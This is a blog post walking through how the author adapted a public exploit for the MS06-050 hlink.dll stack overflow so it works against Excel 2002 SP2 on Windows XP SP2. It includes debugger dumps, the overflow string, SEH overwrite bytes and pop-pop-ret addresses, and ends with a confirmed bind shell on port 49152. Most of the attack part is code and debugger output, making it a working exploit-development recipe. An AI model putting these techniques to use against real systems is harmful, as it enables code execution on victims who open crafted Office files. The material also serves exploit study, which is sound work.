Exploiting M$ Office: MS06-050 - The Modification

Two months ago, I started to publish the posts about heap spraying technique. This make me clear how heap spraying technique works and what type of vulnerability I can use this technique. Then, I think it will be useful if I’m not only focus on heap spraying technique and browser exploitation, but also include others vulnerability. This results in the new category - Exploiting M$ Office.

Exploiting the M$ Office becomes one of the primary targets of the attacker because exploiting the core operating system is very harder that the old days. As they expect, most of M$ Office programs are not designed with the security requirement and easily to be exploited. In this post, I will detail about how to “modify” the public exploit that attack against the vulnerability MS06-050 – Vulnerabilities in Microsoft Windows Hyperlink Object Library Could Allow Remote Code Execution – to work with my system.

The vulnerability is a stack-based buffer overflow caused by improper bound checking of hyperlinks in hlink.dll library. If the attacker craft the hyperlink in Office document in the way that trigger buffer overflow, he can execute the code in the victim system with the privilege of user who open the link.

In the post, I will use SYS 49152’s “universal exploit” to demonstrate how to modify the exploit to work with your system. In his exploit the document stated that this exploit work with the combination of Windows 2000/XP/2003 and M$ Office 2000/XP/2003. But when I view my M$ Excel version, I found that its version is 2002 SP2.


Now I start to use the exploit to test against my Excel (I test with Windows XP SP2). It creates the Excel named SYS_49152_universal_hlink.xls. As I expect, when I open the file SYS_49152_universal_hlink.xls and click the link “ClickMe!”, my Excel is terminated and there is no shell port binding at 49152 – the exploit fails to work with my system.

Now my job is started, I attach the Excel with Windbg and click the link again. This is the result:

eax=0013f812 ebx=00000000 ecx=0013f812 edx=00610061 esi=00000000 edi=00000000
eip=76829c91 esp=0013e9ac ebp=0013f800 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
hlink!HlinkNavigateToStringReference+0x2933:
76829c91 668b02 mov ax,[edx] ds:0023:00610061=????

Access violation occur when the program try to read at the address 0x00610061. I remember that the security bulletin had said this vulnerability is stack-based buffer overflow. So I decide to view data on the stack:

0:000> dds esp
0013e9ac 7682db38 hlink!HlinkTranslateURL+0x1f05
0013e9b0 00610061
0013e9b4 0013f812
0013e9b8 001835e0
0013e9bc 00000000
0013e9c0 001835e0
0013e9c4 00000006
0013e9c8 00000000
0013e9cc 00192bd8
0013e9d0 001aa2e0
0013e9d4 00610061
0013e9d8 00610061
0013e9dc 00610061
0013e9e0 00610061
0013e9e4 00530061
0013e9e8 00530059
0013e9ec 00390034
0013e9f0 00350031
0013e9f4 00520032
0013e9f8 004c0055
0013e9fc 005a0045
0013ea00 00610061
0013ea04 00610061
0013ea08 00610061
0013ea0c 00610061
0013ea10 005c0061
0013ea14 00610061
0013ea18 00610061
0013ea1c 00610061
0013ea20 00610061
0013ea24 00530061
0013ea28 00530059
0:000> dds
0013ea2c 00390034
0013ea30 00350031
0013ea34 00520032
0013ea38 004c0055
0013ea3c 005a0045
0013ea40 00610061
0013ea44 00610061
0013ea48 00610061
0013ea4c 00610061
0013ea50 005c0061
.....

I think I see some pattern in the stack. It start at address 0x0013e9d4, 0x00610061, and end at address 0x0013ea10, 0x005c0061. This pattern is an important part to trigger the overflow. It is in the code line

$a="aaaaaaaaa\x53\x59\x53\x34\x39\x31\x35\x32\x52\x55\x4C\x45\x5Aaaaaaaaaa\\" x 80

The character a is equivalent 0x61 in hex number. But, what is the byte 0x00 ? It is the unicode character. This can confirm by view the stack in Ollydbg with the option show UNICODE dump.


Something comes into my mind. There are 2 ways to exploit the stack-based buffer overflow – overwrite the eip or overwrite the SEH. As I see, when the program crashes at the first time, eip is not overwrite. So this exploit uses the SEH overwrite technique. At the state that Excel crashes, I press ‘g’ in Windbg run to find out what’s going on:

eax=00000000 ebx=00000000 ecx=30b31410 edx=4bdd23c8 esi=00000000 edi=00000000
eip=30b31413 esp=0013e5dc ebp=0013e5fb iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mso!Ordinal2655+0x1e9:
30b31413 891f mov [edi],ebx ds:0023:00000000=????????

Excel crashes at the address 0x30b31413. I locate these 4 bytes in the exploit code and it is in the line:

print ass "\xEB\x1A\x90\x90\x10\x14\xB3\x30"

The last 4 bytes is the reverse of 0x30b31410, not 0x30b31413. So I disassemble at the address 0x30b31410:

0:000> u 30b31410
mso!Ordinal2655+0x1e6:
30b31410 4d dec ebp
30b31411 1bd1 sbb edx,ecx
30b31413 891f mov [edi],ebx
.....

Instructions at the address 0x30b31410 and 0x30b31411 don’t cause the access violation, that’s why Windbg stop at 0x30b31413. I confirm this by change “\x10\x14\xb3\x30” to “\x44\x33\x22\x11”:

eax=00000000 ebx=00000000 ecx=11223344 edx=7c9037d8 esi=00000000 edi=00000000
eip=11223344 esp=0013e5dc ebp=0013e5fc iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
11223344 ?? ???

Lol, I can control flow of the program to the address that I want, but what’s the address that I should use instead of 0x11223344 ? To answer this question, l view something in the stack:

0:000> dds esp
0013e5dc 7c9037bf ntdll!ExecuteHandler2+0x26
0013e5e0 0013e6c4
0013e5e4 0013f9d4
0013e5e8 0013e6e0
0013e5ec 0013e698
0013e5f0 0013f9d4
.....

Each entry looks like the address in the stack. The interested one is 0x0013f9d4 because It points to something like shellcode :)

0:000> dd 0013f9d4
0013f9d4 90901aeb 11223344 00610061 00610061
0013f9e4 00530061 00530059 00390034 90907eeb
0013f9f4 30cb9bb4 004c0055 005a0045 00610061
.....

I disassembly at address 0x0013f9d4:

0:000> u 0013f9d4
0013f9d4 eb1a jmp 0013f9f0
0013f9d6 90 nop
0013f9d7 90 nop
0013f9d8 44 inc esp
.....

It’s jump at the address 0x0013f9f0:

0:000> u 0013f9f0
0013f9f0 eb7e jmp 0013fa70
0013f9f2 90 nop
0013f9f3 90 nop
0013f9f4 b49b mov ah,0x9b
.....

Again, It’s jump to the address 0x0013fa70:

0:000> u 0013fa70
0013fa70 eb7e jmp 0013faf0
0013fa72 3500320052 xor eax,0x52003200
0013fa77 005500 add [ebp],dl
.....
0:000> u 0013faf0
0013faf0 eb77 jmp 0013fb69
0013faf2 3500320052 xor eax,0x52003200
0013faf7 005500 add [ebp],dl
.....
0:000> u 0013fb69
0013fb69 fc cld
0013fb6a 6aeb push 0xeb
0013fb6c 4d dec ebp
.....

At the address 0x0013fb69 is the start of the shellcode !!! This means that if I can made the program jump to the address 0x0013f9d4, the shellcode will be executed. The most simple way to do this is change “\x44\x33\x22\x11” to “\xd4\xf9\x13\x00”. But the problem is that the address 0x0013f9d4 contains null byte, so it will not work. I have to find a way to jump indirectly to the address 0x0013f9d4. At this time the instruction “pop pop ret” comes in to my mind  Because the value 0x0013f9d4 is the third value in the stack, If I change 0x11223344 to the address of instruction “pop pop ret” , it will be result in this:

top of stack: 7c9037bf 0013e6c4 0013f9d4 0013e6e0 :bottom of stack

After 'pop' command
top of stack: 0013e6c4 0013f9d4 0013e6e0 :bottom of stack

After 'pop' command
top of stack: 0013f9d4 0013e6e0 :bottom of stack

Status when execute 'ret' command
top of stack: 0013f9d4 0013e6e0 :bottom of stack

The instruction ‘ret’ will jump to the the address on the top of stack, so it will jump to the address 0x0013f9d4. I find the address of “pop pop ret” by using msfpescan from metasploit:

0x3073a0d7 eax esi ret
0x30740e11 eax esi ret
0x30779f40 eax esi ret
0x30797d02 eax esi ret
0x307a6760 eax esi ret
0x307b7492 eax esi ret
0x307c36fb eax esi ret

I replace the address 0x11223344 with 0x307c36fb and create the Excel file again. At this time when I press ‘g’ after the first crash, the program is not crashed again. I run netstat to view the open port and I found that there is port binding at 49152 – shellcode is executed.
I test the exploit without Windbg and it’s still successful. My job is done, lol.